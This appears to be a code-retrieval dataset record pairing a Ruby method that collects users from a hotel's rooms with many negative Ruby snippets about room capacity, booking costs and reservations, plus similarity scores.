[ "def house_capacity\n has_reserved_seating? ? seatmap.seat_count : attributes['house_capacity']\n end", "def get_rooms_by_capacity(range_filter, room, rooms_capacity)\n range = split_string(range_filter)\n if room.capacity >= range[0].to_i && room.capacity < range[1].to_i\n rooms_capacity << room\n end\n rooms_capacity\n end", "def capacity\n\t\t\t\t\treturn self.send(\"capacity_#{self.capacity_type.to_s}\")\n\t\t\t\tend", "def capacity_available\n if self.restaurant.availability(self.party_size, self.time) < 0\n errors.add(:party_size, \"Inadequate capacity\")\n end\n end", "def accommodation_cost(nights)\n City::TIER_ACCOMMODATION_COST[self.city.accomodation_category.to_sym] * nights\n end", "def capacity_costs\n fetch(:capacity_costs) do\n if fixed_costs_per_mw_input_capacity\n fixed_costs_per_mw_input_capacity * input_capacity\n else\n 0.0\n end\n end\n end", "def cost\n schedule.reduce(0) do |cost, day|\n cost + COSTS[day.city][day.cost]\n end\n end", "def _item_price_with_capacity(which_category, capacity)\n _item_prices_in_category(which_category).find { |item_price| item_price['item']['capacity'].to_i == capacity}\n end", "def test_capacity_of_karaoke_room\n assert_equal(6, @room.capacity)\n end", "def capacity\n @ole.Capacity\n end", "def maximum_capacity\n read_attribute(:maximum_capacity) || room.try(:capacity)\n end", "def capacity\n @capacity\n end", "def capacity\n return @capacity\n end", "def get_reservation_cost\n total_cost = @number_nights * @cost_per_night\n return total_cost\n end", "def room_entry(capacity)\n if capacity <= 20\n return \"Welcome to the CCC Elvis Room\"\n else\n return \"I'm sorry we are at capacity you could try one of our other rooms\"\n end\n end", "def capacity\n info[:capacity]\n end", "def cost_of_cable(length)\n\t\tmeter = length * 0.01\n\t\tdollar = [meter * 0.4079 + 0.5771, meter * 0.0919 + 7.2745].min * BANDWIDTH\n\t\t(dollar * 100).round.to_f / 100\n\tend", "def check_capacity(room, guests)\n if guests <= room.capacity\n return \"You can sing!\"\n else\n return \"Room is not available!\"\n end\n end", "def accommodation_cost_at_airport(airport, nights)\n @accommodation_cost_map ||= {}\n return @accommodation_cost_map[\"#{airport.id}-#{nights}\"] if @accommodation_cost_map[\"#{airport.id}-#{nights}\"].present?\n @accommodation_cost_map[\"#{airport.id}-#{nights}\"] = City::TIER_ACCOMMODATION_COST[city_for_airport(airport).accomodation_category.to_sym] * nights\n @accommodation_cost_map[\"#{airport.id}-#{nights}\"]\n end", "def capacity_to_demand_multiplier\n 8760.0\n end", "def total_charged\n return self.trips.sum(&:cost)\n end", "def production_cost\n reagent_reference.production_cost * quantity\n end", "def desired_capacity\n @group.desired_capacity\n end", "def all_rooms\n @rooms.each do |room|\n puts \"Room Number: #{room.number} | Nightly Rate: #{room.cost}\"\n end \n end", "def hotel_rooms\n \tobject.available_hotel_rooms @instance_options[:check_in], @instance_options[:check_out]\n end", "def capacity(person_or_type = nil)\n attribute_for_audience_with_generic(:capacity, person_or_type) do |cust_cap|\n cust_cap && cust_cap > 0\n end\n end", "def capacity\n @capacity ||= DEFAULT_CAPACITY\n end", "def cheap_hotel(is_regular_rate, dates)\n map = {}\n hotels.each do |hotel|\n total_price = 0\n dates.each do |date|\n total_price += hotel.price(is_regular_rate, date)\n end\n map[hotel] = total_price\n end\n map = map.sort_by { |k, v| [v, -k.rating] }\n map.first[0]\n end", "def efficiency_based_capacity\n cop_cutoff = @config.cop_cutoff || 1.0\n\n input_cap =\n total_value do\n @config.capacity[@config.efficiency_based_on]\n end\n\n input_efficiency.map do |eff|\n eff < cop_cutoff ? 0.0 : input_cap * eff\n end\n end", "def total_seats_left\n [self.house_capacity - vouchers.size, 0].max\n end", "def available_capacity(point)\n local_producers(point, @abroad.price_curve.get(point))\n .reduce(0.0) do |sum, prod|\n sum + (prod.max_load_at(point) - prod.load_curve.get(point))\n end\n end", "def test_capacity_of_room\n assert_equal(3, @room1.capacity)\n end", "def capacity( resource = :deuterium )\n\t\t@resources[ resource ][ :capacity ]\n\tend", "def get_total_cost_by_facility (facility)\n metal = facility.cost1 \n crystal = facility.cost2 * 2\n fuel = facility.cost3 * 4\n return metal + crystal + fuel\n end", "def cost\n cost = 0\n @solution.each { |route| cost += route.travel_time_and_cost[0] }\n return cost\n end", "def get_capacity\n rpc_get_fact_direct('capacity').to_f\n end", "def reagent_cost\n reagents.map do |reagent|\n reagent.reagent.production_cost\n end.sum\n end", "def capacity; @capacity ||= sheet1_b10; end", "def capacity(start_date, end_date)\n potential_days = potential_working_days(start_date, end_date)\n actual_days = number_of_days_scheduled(start_date, end_date)\n actual_capacity = (100 / potential_days.to_f) * actual_days\n actual_capacity.to_i\n end", "def cost(aircraft_type=self.aircraft)\n cost = 0\n [pax_1,pax_2].each do |pax|\n if pax >= aircraft_type.passenger_capacity\n # er is spill\n cost += price * (pax - aircraft_type.passenger_capacity)\n end\n end\n # Kosten aftrekken\n cost += 2 * (aircraft_type.fixed_cost/100.0) * AssignmentParameters.fixed_cost_100\n cost += (flight_time/(60*60)) * AssignmentParameters.var_cost_100 * (aircraft_type.var_cost/100.0)\n cost += swap_penalty(aircraft_type)\n return cost\n end", "def player_capacity\n 2\n end", "def total_resources\n self.balance + self.fuel_reserve\n end", "def capacity\n data[:capacity]\n end", "def test_room_capacity\n assert_equal(15, @room1.room_capacity)\n end", "def compute_places(wc)\n if wc.capacity == nil or wc.capacity > 7\n wc.places = 2\n else\n wc.places = 1\n end\n\n wc.places_for_females = [ wc.places, wc.capacity_females ].compact.min\n wc.places_for_males = [ wc.places, wc.capacity_males ].compact.min\n end", "def capacity_reservation_id\n data[:capacity_reservation_id]\n end", "def _item_price_in_category(which_category, capacity)\n item_prices_in_category = self.upgrade_options.select { |item_price| item_price[\"categories\"].find { |category| category[\"categoryCode\"] == which_category } }\n item_prices_in_category.find { |ram_item| ram_item[\"item\"][\"capacity\"].to_i == capacity}\n end", "def capacity_to_demand_multiplier\n 3600.0\n end", "def cost\n return @extra_cost + @basic_booking.cost\n end", "def gym_cost\n all_gym_costs = self.memberships.map {|membership| membership.cost}\n all_gym_costs.sum\n end", "def cost \n return @extra_cost + @basic_booking.cost\n end", "def cost \n return @extra_cost + @basic_booking.cost\n end", "def cost_of_capital\n fetch(:cost_of_capital) do\n if technical_lifetime.zero?\n raise IllegalZeroError.new(self, :technical_lifetime)\n end\n\n average_investment * wacc *\n (construction_time + technical_lifetime) / # syntax\n technical_lifetime\n end\n end", "def cost_of_parking(entry_time, exit_time)\n duration = exit_time - entry_time\n billable_hours = [(duration / 3600.0).ceil, 1].max\n\n billable_hours * @hourly_cost\n end", "def capacity_to_demand_multiplier\n 1.0\n end", "def get_allocated_cells\n\t\tallocated_cells = 0.0;\n\t\t@cells.each { |i| i.each { |j| allocated_cells += 1 if j.type != Cell::BLOCKED } }\n\t\treturn (allocated_cells*Dungeon::ROOM_ALLOCATION_WEIGHT).floor\n\tend", "def gym_cost\n \t\tgym_cost = memberships.map{|member|member.cost}\n \t\tgym_cost.sum\n end", "def total_cost\n \tingredients_cost + components_cost\n end", "def unit_cost\n @unit_cost ||= component ? component.cost : 0\n end", "def getPrice (destinationCity)\n\tticketInBs = 0\n\n\tcase destinationCity.upcase\n\twhen \"CBBA\"\n\t\tticketInBs = 1000\n\twhen \"SCZ\"\n\t\tticketInBs = 1500\n\twhen \"LPZ\"\n\t\tticketInBs = 400\n\telse\n\t\tputs \"City #{destinationCity} doesn't exist in the list.\"\n\tend\n\n\treturn ticketInBs\nend", "def get_allocated_cells\n allocated_cells = 0.0;\n @cells.each { |i| i.each { |j| allocated_cells += 1 if j.type != Cell::BLOCKED } }\n (allocated_cells*Dungeon::ROOM_ALLOCATION_WEIGHT).floor\n end", "def handling_cost(aircraft = nil)\n # mtow = aircraft.mtow\n # mtow = 0.0 if mtow.nil?\n # self.landing_rate_per_tonne * mtow\n\n cost = 0.0\n cost = aircraft.aircraft_type.aircraft_category.handling_cost_grids.where(city_id: self.city_id).first.cost if aircraft.aircraft_type.aircraft_category.handling_cost_grids.where(city_id: self.city_id).present?\n cost\n end", "def cost\n 0.89\n end", "def get_value_for(room)\n rooms = {:heating => LocalizeHelper::get_string(:Central_heating),\n :bathroom => LocalizeHelper::get_string(:Own_in_appartement), \n :wc => LocalizeHelper::get_string(:Own_in_appartement),\n :warm_water => LocalizeHelper::get_string(:Central) }\n \n if ((rooms.include?(room)) && (self.get_attribute(room) != \"\"))\n return self.get_attribute(room)\n elsif rooms.include?(room)\n return rooms[room]\n end\n end", "def capacity_type\n\t\t\t\t\t:integer\n\t\t\t\tend", "def seats_remaining(counter, capacity)\n capacity - counter\n end", "def capacity_reservation_specification\n data[:capacity_reservation_specification]\n end", "def list_rooms\n @rooms.each do |room_name, cap| \n puts \"#{room_name} #{cap.available_space()}\"\n end\n end", "def autosizedRatedHighSpeedTotalCoolingCapacity\n\n return self.model.getAutosizedValue(self, 'Design Size Rated High Speed Total Cooling Capacity (gross)', 'W')\n \n end", "def autosizedRatedLowSpeedTotalCoolingCapacity\n\n return self.model.getAutosizedValue(self, 'Design Size Rated Low Speed Total Cooling Capacity (gross)', 'W')\n \n end", "def total_cost\n ingredients_cost + components_cost\n end", "def capacity_check(film)\n if film.num_customers_in_film < @capacity\n return \"tickets available\"\n else\n return \"this showing is full\"\n end\n end", "def capacity_pools_for_did\n @capacity_pools_for_did ||= begin\n capacity_pools = DIDWW::Resource::CapacityPool.includes(:countries).all\n capacity_pools.select{ |cp| cp.countries.map(&:id).include? resource.did_group.country&.id }\n end\n end", "def capacity=(value)\n @capacity = value\n end", "def total_owed\n self.appointments.sum(:cost)\n end", "def get_handling_cost(aircraft, airport)\n cost = 0.0\n aircraft_type = aircraft_type_for_id(aircraft.aircraft_type_id)\n city_id = airport.city_id\n if aircraft_type.present?\n handling_cost_grid = handling_for_aircraft_category(aircraft_type.aircraft_category_id, city_id)\n if handling_cost_grid.present?\n cost = handling_cost_grid.cost\n end\n end\n cost\n end", "def total_cost\n dates = ReservationDates.new(checkin:@checkin, checkout:@checkout)\n subtotal = dates.total_nights * 200 \n total = subtotal * 1.101\n return total.round(2)\n end", "def total_cost\n self.ingredients.map{ | ing | ing.cost_per_unit * ing.quantity } .reduce(&:+).round(2)\n end", "def node_capacity\n n = node.one_ml_node.capacity\n return 10 if n < NODE_CAPACITY_MIN\n return 10 if n > NODE_CAPACITY_MAX\n\n mid = (NODE_CAPACITY_MIN + NODE_CAPACITY_MAX) / 2.0\n max_distance = mid - NODE_CAPACITY_MIN\n distance = n - mid\n\n # The farther away the capacity devites from the middle,\n # the lower the score gets\n 10 * (distance / max_distance)\n end", "def range\n @fuel_capacity * @fuel_efficiency\n end", "def cost\n @beverage.cost + 0.20\n end", "def get_price\n available_room_response = hotel_service.get_available_room(params)\n service_available_room = process_response(available_room_response, 'HotelRoomAvailabilityResponse')\n rooms = []\n if service_available_room[\"status\"] == OK\n available_rooms = JSON.parse(service_available_room[\"response\"])\n bookings = available_rooms[\"HotelRoomAvailabilityResponse\"]\n if bookings && bookings[\"@size\"].to_i == 1\n rooms = []\n rooms << bookings[\"HotelRoomResponse\"]\n elsif bookings && bookings[\"@size\"].to_i > 1\n rooms = bookings[\"HotelRoomResponse\"]\n end\n end\n render :json => {:result=> rooms}\n end", "def cost\n @beverage.cost + 0.15\n end", "def min_remaining_cost(path)\n return 0 if @goal_location == path.location\n (path.turns + 1 ... path.turns + path.location.manhattan_distance(@goal_location)).sum + @costs[*@goal_location]\n end", "def availibility(party_size, date)\n\t\treserved = reservations.sum(:party_size)\n party_size <= (capacity - reserved)\n end", "def cost\n return @cost\n end", "def cost\n return @cost\n end", "def productions_total\n productions_total = 0\n mini_map_cells.each do |cell|\n productions_total += cell.terrain.production\n productions_total += cell.sp_resource.production unless cell.sp_resource.blank?\n productions_total += cell.construction.production unless cell.construction.blank?\n end\n return productions_total\n end", "def cost\n @cost ||= calibrate_cost\n end", "def fullCapacityGetter(fullCapacityRoomsArray, inputDate, timeString, scheduleTable, inputNumOfAttendees)\n puts \"The following rooms are suitible for hosting a full capcity session:\"\n j = 0\n while j < fullCapacityRoomsArray.length()\n if fullCapacityRoomsArray[j].checkRoomAvailibilty(inputDate, timeString, scheduleTable)\n puts j.to_s + \": Building: \" + fullCapacityRoomsArray[j].building + \", Room: \" + fullCapacityRoomsArray[j].roomNum + \", Capacity: \" + fullCapacityRoomsArray[j].capacity + \", Computers Availible: \" + fullCapacityRoomsArray[j].computerAvail + \", Food Allowed: \" + fullCapacityRoomsArray[j].food\n end\n j+=1\n end\n puts \"Enter number corresponding to the room you would like to reserve:\"\n roomIndex = gets.chomp\n fullCapacityRoomsArray[roomIndex.to_i].addToCapacity(inputNumOfAttendees.to_i)\n return fullCapacityRoomsArray[roomIndex.to_i]\nend", "def cost_of_stay\n num_of_nights * 200.00\n end", "def total_cost\r\n self.qty * self.price\r\n end", "def get_active_capacity\n rpc_get_fact_direct('active_capacity').to_f\n end", "def available_rooms\n available_rooms = reservations.select do |reservation|\n reservation.status == :HOLD\n end\n \n return available_rooms\n end", "def rental_cost(nights)\n nights.map{|night| nightly_rate(night)}.reduce(:+)\n end", "def capacity\n @logs.first.capacity * @logs.count\n end", "def sitting_costs\n [cost_per_night, remote_price].compact\n end", "def shipping_cost(length, width, height)\n cost = (length * width * height) * 1.25\n end", "def create\n @hotel= Hotel.find(params[:id])\n @room = @hotel.rooms.build(room_params)\n disc= 100 - @room.discount.to_f\n val= (disc/100).to_f\n @room.rate_after_disc= (val * @room.rate).to_f\n \n\n respond_to do |format|\n if @room.save\n format.html { redirect_to admin_rooms_path(id: @hotel.id), notice: 'Room was successfully created.' }\n format.json { render :show, status: :created, location: @room }\n else\n format.html { render :new }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def spill\n ([capacity,pax_1].max-capacity)+([capacity,pax_2].max-capacity)\n end" ]
[ "0.65121174", "0.645556", "0.64078385", "0.6084425", "0.603976", "0.59885114", "0.59358305", "0.591256", "0.58992904", "0.58814365", "0.58691144", "0.5807097", "0.5793603", "0.5788157", "0.5742271", "0.57110983", "0.5663643", "0.56625175", "0.56538224", "0.5649196", "0.560322", "0.5581367", "0.55804497", "0.556217", "0.5545706", "0.5544396", "0.5516272", "0.5504827", "0.55026066", "0.5495605", "0.5474698", "0.5458296", "0.5453401", "0.5446847", "0.5439964", "0.5432822", "0.54240566", "0.5411352", "0.5406772", "0.5391375", "0.5390048", "0.5385979", "0.53752494", "0.5364506", "0.53500617", "0.53485286", "0.53436965", "0.5319704", "0.5294906", "0.52944475", "0.52863705", "0.52863705", "0.5254813", "0.5254724", "0.525275", "0.52508104", "0.52507126", "0.5238479", "0.523373", "0.5232158", "0.52224326", "0.5213366", "0.51968765", "0.5196219", "0.5193214", "0.51901543", "0.51832366", "0.51668954", "0.51608217", "0.5143439", "0.5140722", "0.51318944", "0.5127191", "0.51220703", "0.5120534", "0.5120352", "0.51175374", "0.51162225", "0.5110412", "0.5098298", "0.50927913", "0.50918794", "0.5086374", "0.5083967", "0.50838524", "0.507692", "0.507692", "0.5071683", "0.5064897", "0.50623226", "0.5057946", "0.50560534", "0.5054379", "0.5051594", "0.5048142", "0.50467557", "0.5045092", "0.504137", "0.50394654", "0.5039089" ]
0.69363534
0
Returns an array with all users inside the rooms of the hotel
def users users = [] rooms.each do |room| room.users.each do |user| users << user end end users end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def list_all_rooms_in_hotel\n\n return @rooms.map { |room| room }\n end", "def users(*room_names)\n users = Hpricot(get.body).search(\"div.room\").collect do |room|\n if room_names.empty? || room_names.include?((room/\"h2/a\").inner_html)\n room.search(\"//li.user\").collect { |user| user.inner_html }\n end\n end\n users.flatten.compact.uniq.sort\n end", "def list_all_rooms\n return @rooms\n end", "def user_rooms\n @rooms = Room.where(user_id: params[:user_id], state: \"published\")\n .page(params[:page]).per(10)\n paginate_rooms @rooms\n end", "def index\n @room_users = RoomUser.all\n end", "def rooms\n response = self.class.get(@api.user_joined_rooms_config[:url],\n :query => { :auth_token => @token }.merge(@api.user_joined_rooms_config[:query_params]),\n :headers => @api.headers\n )\n ErrorHandler.response_code_to_exception_for :user, user_id, response\n User.new(@token, response.merge(:api_version => @api.version))\n end", "def get_rooms\n # DO NOT DELETE. Condition used for load testing\n @user_id = (params.has_key? :user_id) ? params[:user_id] : session[:user_id]\n @room_ids = Member.where(user_id: @user_id).pluck(:room_id)\n\n @rooms = Room.find(@room_ids)\n #render json: @rooms\n \n @roomList = []\n #@rooms.each { |room|\n for room in @rooms do\n #@room = Room.find_by(id: room_id)\n temp = {}\n temp.store(\"room_id\",room.id)\n temp.store(\"room_name\", room.name) \n temp.store(\"room_token\", room.token)\n @roomList.push(temp)\n end\n render json: {rooms: @roomList}, status: 200\n end", "def room_list\n\t\t@room = Accommodation.find_all_by_host_id(@current_user.id)\n\t\t@date = RoomBooking.find_all_by_room_id(@room)\n \tend", "def index\n @rooms = current_user.rooms.all\n end", "def find_room_with_spaces\n available_rooms = Array.new()\n available_rooms = @rooms\n .find_all { |room| room.is_full == false}\n .map { |room| room.name }\n return available_rooms\nend", "def index\n @rooms = Room.all.map do |rm|\n Room.cleanFetch(rm, current_user)\n end\n end", "def hotel_rooms\n \tobject.available_hotel_rooms @instance_options[:check_in], @instance_options[:check_out]\n end", "def index\n @rooms = Room.all\n room_list = []\n @rooms.each do |room|\n room_list << room.to_hash_with_users(current_user)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: room_list.to_json}\n end\n end", "def user_list\n @room = current_user.room\n @user_list = @room.users\n render partial: \"user_list\"\n end", "def available_rooms\n @booking = current_user.bookings.new(booking_params)\n @hotel_rooms = @hotel_category.hotel_rooms.available_rooms(params[:booking][:check_in], params[:booking][:check_out])\n end", "def available_rooms\n available_rooms = reservations.select do |reservation|\n reservation.status == :HOLD\n end\n \n return available_rooms\n end", "def get_all_rooms(params = {})\n res = call_api(:method => :get, :uri => @api_base.merge(\"room\"), :query_params => params)\n return unless res.successful?\n Rooms.new(res.data)\n end", "def list_available_rooms(date)\n available_room_ids = []\n @rooms.each do |room| \n if room.dates_reserved == [] \n available_room_ids << room.id\n else \n room.dates_reserved.each do |reservation|\n if date < reservation[:start] && date <= reservation[:end]\n available_room_ids << room.id\n elsif date > reservation[:start] && date >= reservation[:end]\n available_room_ids << room.id\n end\n end\n end\n end\n \n return available_room_ids\n end", "def list_rooms_available_today\n\n return find_all_available_rooms([Date.today()])\n end", "def all_members(**params)\n client.api.get_room_members(id, **params)[:chunk].map { |ch| client.get_user(ch[:state_key]) }\n end", "def get_available_rooms(date_range)\n unavailable_rooms = []\n # Send the room to unavailable rooms if room has a reservation for a specific data_range. \n @reservations.each do |reservation|\n if reservation.daterange.overlap?(date_range) == true\n unavailable_rooms << reservation.room\n end\n end\n # Array substrating total_rooms minus unavailable rooms.\n return @rooms - unavailable_rooms\n end", "def find_all_available_rooms(date_range)\n\n available_rooms = VALID_ROOM_IDS.dup\n\n if @reservations.empty?\n return @rooms\n end\n\n @reservations.each do |reservation|\n\n range_set_difference = date_range - ((reservation.checkin_date..reservation.checkout_date).to_a - [reservation.checkout_date])\n\n if range_set_difference != date_range\n available_rooms -= [reservation.room_number]\n end\n\n end\n\n if available_rooms.empty?\n raise StandardError.new(\"Hotel fully booked for this date range. Try a different date.\")\n end\n\n return available_rooms\n end", "def index\n @user = User.find(params[:user_id])\n @rooms = @user.rooms.all\n render json: @rooms if stale?(etag: @rooms.all, last_modified: @rooms.maximum(:updated_at))\n end", "def rooms_list\n\t\t\t@rooms.map {|room| \"Room: #{room.id}\"}.join(\", \")\n\t\tend", "def get_all_members(params = {})\n room_id = self.room_id || params.delete(:room_id)\n raise ArgumentError.new(\"room_id required\") unless room_id\n res = call_api(:method => :get, :uri => @api_base.merge(\"room/#{room_id}/member\"), :query_params => params)\n return unless res.successful?\n Users.new(res.data)\n end", "def find_available_rooms(rooms, start_date: Date.today, end_date: Date.today + 2)\n return Room.all_available_rooms(rooms, start_date: start_date, end_date: end_date)\n end", "def household_users\n User.where(id: household_user_ids)\n end", "def local_rooms\n @local_rooms ||= begin\n room_hashes = @data['rooms'] || []\n room_hashes.map { |hash| Room.new(hash) }\n end\n end", "def your_reservations\n @rooms = current_user.rooms\n @reservations = Reservation.all\n end", "def list_available_rooms(given_date_range)\n\n return find_all_available_rooms(given_date_range)\n end", "def list_reserved_rooms\n unless @rooms.empty?\n @rooms.each do |key, room|\n puts room.report_lister\n end\n end\n end", "def list_available_rooms(date_range)\n conflicting_reservations = reservations_by_date_range(date_range)\n\n available_rooms = @rooms.reject do |room|\n conflicting_reservations.find do |res|\n res.room_number == room[:room_number]\n end\n end\n return available_rooms\n end", "def make_hotel_rooms\n (1..20).each do |num|\n @all_rooms << num #Hotel::Room.new(num) I don't think I have to do this\n end\n end", "def get_rooms_by_date(date)\n\t\t\tunavail_rooms = get_reservations_by_date(date).map { |reservation| reservation.room }\n\t\t\treturn @rooms - unavail_rooms\n\t\tend", "def users\n Section.find_roles.pluck(:name).inject(Array.new) do |result, role|\n result += User.with_role(role, self)\n end.uniq\n end", "def all_users\r\n result = []\r\n\r\n self.descendants_and_self.each do |role|\r\n if role == self\r\n result << role.users \r\n else\r\n result << role.all_users\r\n end\r\n end\r\n self.all_groups.each { |group| result << group.all_users }\r\n result.flatten!\r\n result.uniq!\r\n return result\r\n end", "def reservations_by_room(room, date)\n valid_room_inputs = []\n 20.times do |i|\n valid_room_inputs << (\"room#{i+1}\").to_sym\n end\n\n unless valid_room_inputs.include?(room)\n raise ArgumentError.new(\"Not a valid room\")\n end\n\n room_index = (((room.to_s).match('[0-9]')[0]).to_i) - 1\n reservation_list = []\n\n @rooms[room_index][room].each do |reservation_instance|\n if date.between?(reservation_instance.start_date, reservation_instance.end_date)\n reservation_list << reservation_instance\n end\n end\n\n return reservation_list\n end", "def index\n @my_rooms = current_user.message_rooms.index_by(&:id)\n @all_message_rooms = MessageRoom.all\n end", "def users\n #book_a.users\n #returns all the users that checked out this book\n\n checkout_array = Checkout.all.select {|checkout| checkout.book == self}\n checkout_array.map {|checkout| checkout.user}\n end", "def list_reservations\n return @occupied.values.select { |value| value.class == Hotel::Reservation }\n end", "def get_rooms(request_parameters)\r\n http_service.request_get(\"/json/bookings.getRooms\", request_parameters)\r\n # https://distribution-xml.booking.com/json/bookings.getRooms?rows=10&hotel_ids=121543\r\n end", "def rooms\n @rooms ||= begin\n child_rooms = regions.map(&:rooms).flatten\n child_rooms + local_rooms\n end\n end", "def rooms\n Hpricot(get.body).search(\"//h2/a\").collect do |a|\n Room.new(self, room_id_from_url(a.attributes['href']), a.inner_html)\n end\n end", "def get_mushrooms\n @all_mushrooms\n end", "def index\n @rooms = Room.all\n @rooms = @venue.rooms.all\n end", "def buildings\n Building.where(\n user_id: users.map(&:id)\n )\n end", "def get_all_participants(params = {})\n room_id = self.room_id || params.delete(:room_id)\n raise ArgumentError.new(\"room_id required\") unless room_id\n res = call_api(:method => :get, :uri => @api_base.merge(\"room/#{room_id}/participant\"), :query_params => params)\n return unless res.successful?\n Users.new(res.data)\n end", "def find_with_user(user)\n rooms.values.select{|r| r.users.include?(user) }\n end", "def find_passengers\n journeys = Journey.includes(\"stages\").where(stages: {route_id: self.id, accepted: true})\n passengers = []\n journeys.each do |journey|\n passengers << journey.user\n end\n passengers\n end", "def get_reservations_by_room(room, searching_range)\n\t\t\tfound_reservations = []\n\n\t\t\troom.reservations.each do |reservation|\n\t\t\t\tif reservation.range.include_range?(:searching, searching_range) == false\n\t\t\t\t\tfound_reservations << reservation\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn found_reservations\n\t\tend", "def find_all_gym_users\n self.gym_user_instances.map{|user| user.name } \n end", "def shared_rooms\n Room.where(id: shared_access.pluck(:room_id))\n end", "def index\n\t\t@room_members = @room.members - @room.admins\n\tend", "def index\n @occupied_rooms = OccupiedRoom.all\n end", "def set_room_user\n\t\t\t@room_user = {'owner': Room.find(params[:id]).owner, \"admins\": [], \"members\": []}\n\t\t\tRoom.find(params[:id]).admins.order(\"state DESC, nickname ASC\").each do |admin|\n\t\t\t\t@room_user[:admins] << admin unless @room_user[:owner] == admin\n\t\t\tend\n\t\t\tRoom.find(params[:id]).members.order(\"state DESC, nickname ASC\").each do |member|\n\t\t\t\t@room_user[:members] << member unless @room_user[:owner] == member || @room_user[:admins].include?(member)\n\t\t\tend\n\t\tend", "def roster(room)\n [user]\n end", "def get_rooms \n json_rooms = IO.popen(\"curl -u #{@config['campfire_config']['API_KEY']}:X #{@config['campfire_config']['URL']}/presence.json\") \n parsed_rooms = JSON.parse(json_rooms.readlines.first)[\"rooms\"]\n rooms = parsed_rooms.collect {|room| [room[\"name\"],room[\"id\"]]} \nend", "def index\n @chat_rooms = current_user.chat_rooms\n end", "def list_engeeners\n @all_users = Engeener.find(:all)\n end", "def user_voters\n votes = self.votes.order(created_at: :desc)\n user_ids = []\n\n votes.each do |vote|\n user_ids << vote.user_id\n end\n\n users = []\n user_ids.each do |num|\n user = User.find_by(id: num)\n users << user\n end\n\n return users\n end", "def rooms_around(room)\n # Get the person's rooms in alphabetical order\n rooms = memberships.unarchived.alpha\n\n # If there are 5 or fewer we don't need to do anything fancy\n return rooms if rooms.length <= 5\n\n # Get the index for the current room\n room_idx = rooms.index(Membership.joining(self,room).first)\n\n # By default, show two rooms on either side\n lower = room_idx-2 < 0 ? 0 : room_idx-2\n upper = room_idx+2 > rooms.length-1 ? rooms.length-1 : room_idx+2\n\n # If this room is near the bottom of the list, fill in from the top\n if lower < 2\n upper += 2-lower\n rooms = rooms[lower..upper][0,5]\n\n # If this room is near the top of the list, fill in from the bottom\n elsif rooms.length-upper < 2\n lower -= rooms.length-upper+1\n logger.debug(\"__NOW__ LENGTH: #{rooms.length}, LOWER: #{lower}, UPPER: #{upper}, IDX: #{room_idx}\")\n rooms = rooms[lower..upper][-5,5]\n\n # No need to fill, just show that subset\n else\n rooms = rooms[lower..upper]\n end\n\n rooms\n end", "def list_rooms\n @rooms.each do |room_name, cap| \n puts \"#{room_name} #{cap.available_space()}\"\n end\n end", "def index\n @rooms_count = Room.all.count\n\n search = \"(r:Room)-[]->(b:Building)\"\n request = ActiveGraph::Base.new_query.match(search).order(@sort_string).skip(@skip).limit(@limit)\n\n @rooms = request.pluck('r')\n end", "def users\n user_arr = []\n subscriptions.each do |s|\n user_arr << User.find(s.user.id)\n end\n user_arr\n end", "def find \n @user = User.find(params[:user_id])\n @room = @user.rooms.where(:name => params[:name])\n render json: @room if stale?(etag: @room.all, last_modified: @room.maximum(:updated_at))\n end", "def genres\n Genre.joins(user_room_genres: :user_room)\n .where(user_rooms: { game_room: self })\n .distinct\n end", "def available_rooms(range_query)\n all_rooms = @rooms.map {|room| room.number}\n\n conflicting_reservations = @reservations.find_all { |res| res.range.overlap?(range_query) == true }\n occupied_rooms = conflicting_reservations.map {|res| res.room_num}\n occupied_rooms = occupied_rooms.uniq\n\n available_rooms = all_rooms - occupied_rooms \n\n return available_rooms\n end", "def users_by_role\n members.includes(:user, :roles).where(\"name != 'Observateur'\").all.inject({}) do |h, m|\n m.roles.each do |r|\n h[r] ||= []\n h[r] << m.user\n end\n h\n end\n end", "def index\n @rooms = Room.includes(:hotel, :users).order('hotels.name ASC, number')\n\n respond_to do |format|\n format.html\n format.json { render json: @rooms }\n end\n end", "def index\n \n @rooms= Room.all.where(\"id NOT IN (SELECT room_id FROM reservations WHERE ? < check_out_date AND ? > check_in_date) AND hotel_id IN (SELECT id from hotels WHERE city LIKE ?)\",params[:checkin].to_date.beginning_of_day,params[:checkout].to_date.beginning_of_day,\"%#{params[:destination].to_s}%\")\n end", "def users\n users = []\n if current_user.lead?\n users = object.users.select { |u| u.id != current_user.id }\n users = users.unshift(current_user)\n elsif current_user.dev?\n vms_v = object.vms.select { |vm| vm.is_jenkins }\n users = vms_v.flat_map(&:user).uniq.select { |u| u.id != current_user.id }\n users = users.unshift(current_user)\n else\n users <<= current_user\n end\n users.map { |u| u.id }\n end", "def user_dashboard\n @room_id = BookingStatus.where(user_id:current_user).pluck(:room_id).uniq\n\n end", "def room_list\n @roomtype = DetailRoom.all_types\n @time = Room.all_times\n @day_list = Room.all_days\n if session[:admin] == nil\n redirect_to rooms_path\n end\n @admin = session[:admin]\n @rooms = {} \n @roomtype.each do |type|\n @rooms[type] = DetailRoom.find_all_by_room_type(type)\n end \n end", "def get_reg_users(guest_emails)\n g_arr = Array.new\n guest_emails.split(\",\").each do |e|\n # add user to guests array\n if user = User.find_by(email: e.strip)\n g_arr << user unless user == current_user\n else\n p \"User with email #{e} not found\"\n # Tell the UserMailer to send a invite\n UserMailer.invitation_email(e, current_user, @event).deliver\n end\n end\n g_arr\n end", "def search\n @rooms = Room.available_in_range(@start_date, @end_date).group(:type).presence\n end", "def find_available_rooms(start_date, end_date) \n available_room_ids = []\n \n @rooms.each do |room| \n if room.dates_reserved == [] && room.blocks == []\n available_room_ids << room.id\n else \n num_available_rooms = 0 \n room.dates_reserved.each do |reservation|\n num_available_rooms += check_reservation_conflicts(start_date, end_date, reservation, num_available_rooms)\n end\n \n if room.blocks != []\n room.blocks.each do |block|\n num_available_rooms += check_reservation_conflicts(start_date, end_date, block, num_available_rooms)\n end\n end\n \n if num_available_rooms == (room.dates_reserved.length + room.blocks.length)\n available_room_ids << room.id\n end\n end\n end\n \n return available_room_ids unless available_room_ids == []\n \n raise ArgumentError, \"No rooms available at this time\"\n end", "def guests\n raw_response = get_request('users/guests')\n parse_response(raw_response, :users)\n end", "def connected_rooms\n return (self.exits.map(&:destination) + @entrances.to_a).reject{ |room| room == self }\n end", "def users\n watches_unique_by_user.map(&:user)\n end", "def all_rooms\n @rooms.each do |room|\n puts \"Room Number: #{room.number} | 